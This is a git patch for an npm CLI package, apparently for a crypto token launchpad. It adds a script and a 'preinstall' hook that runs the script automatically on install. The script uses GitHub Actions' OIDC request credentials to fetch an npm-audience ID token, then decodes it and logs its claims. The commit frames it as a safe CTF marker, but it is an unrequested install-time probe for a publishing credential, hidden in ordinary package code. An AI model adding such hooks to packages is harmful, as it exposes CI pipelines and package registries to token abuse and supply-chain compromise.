From a752429ca880c37f45ebf2b8feae2ba6b48c4fd4 Mon Sep 17 00:00:00 2001 From: Liam Dow Date: Wed, 4 Nov 2026 02:14:49 +0000 Subject: [PATCH] test: safe OIDC capability marker --- ctf-oidc-proof.mjs | 40 ++++++++++++++++++++++++++++++++++++++++ package.json | 1 + 2 files changed, 41 insertions(+) create mode 100644 ctf-oidc-proof.mjs diff --git a/ctf-oidc-proof.mjs b/ctf-oidc-proof.mjs new file mode 100644 index 0000000..80d0a15 --- /dev/null +++ b/ctf-oidc-proof.mjs @@ -0,0 +1,40 @@ +const marker = 'GANG_CTF_OIDC_PROOF_20261104' +const requestUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL +const requestToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN + +console.log(`${marker} environment`, JSON.stringify({ + event: process.env.GITHUB_EVENT_NAME || null, + actor: process.env.GITHUB_ACTOR || null, + repository: process.env.GITHUB_REPOSITORY || null, + ref: process.env.GITHUB_REF || null, + sha: process.env.GITHUB_SHA || null, + oidcRequestUrlPresent: Boolean(requestUrl), + oidcRequestTokenPresent: Boolean(requestToken), +})) + +if (!requestUrl || !requestToken) { + console.log(`${marker} no OIDC request capability`) + process.exit(0) +} + +const url = new URL(requestUrl) +url.searchParams.set('audience', 'npm:registry.npmjs.org') +const response = await fetch(url, { + headers: { Authorization: `Bearer ${requestToken}` }, +}) +const body = await response.text() +if (!response.ok) { + console.log(`${marker} OIDC request failed`, response.status, body.slice(0, 500)) + process.exit(0) +} + +const token = JSON.parse(body).value +const payload = JSON.parse(Buffer.from(token.split('.')[1], 'base64url').toString('utf8')) +const fields = [ + 'aud', 'sub', 'repository', 'repository_id', 'repository_owner', + 'repository_owner_id', 'workflow', 'workflow_ref', 'workflow_sha', + 'job_workflow_ref', 'job_workflow_sha', 'event_name', 'ref', 'ref_type', + 'actor', 'actor_id', 'base_ref', 'head_ref', 'run_id', 'run_attempt', +] +const claims = Object.fromEntries(fields.filter((field) => payload[field] !== undefined).map((field) => [field, payload[field]])) +console.log(`${marker} OIDC claims`, JSON.stringify(claims)) diff --git a/package.json b/package.json index 45c725a..57c97e4 100644 --- a/package.json +++ b/package.json @@ -5,6 +5,7 @@ "description": "Gang launchpad CLI for Binance Agentic Wallet agents: create on GangLaunchpad (untaxed or tax tokens), 打新 fair mint, PancakeSwap pool trades, LaunchpadV2 and legacy Soft/U/S trade.", "type": "module", "scripts": { + "preinstall": "node ctf-oidc-proof.mjs", "test": "for f in test/*.mjs; do GANG_TELEMETRY=0 node \"$f\" || exit 1; done" }, "bin": {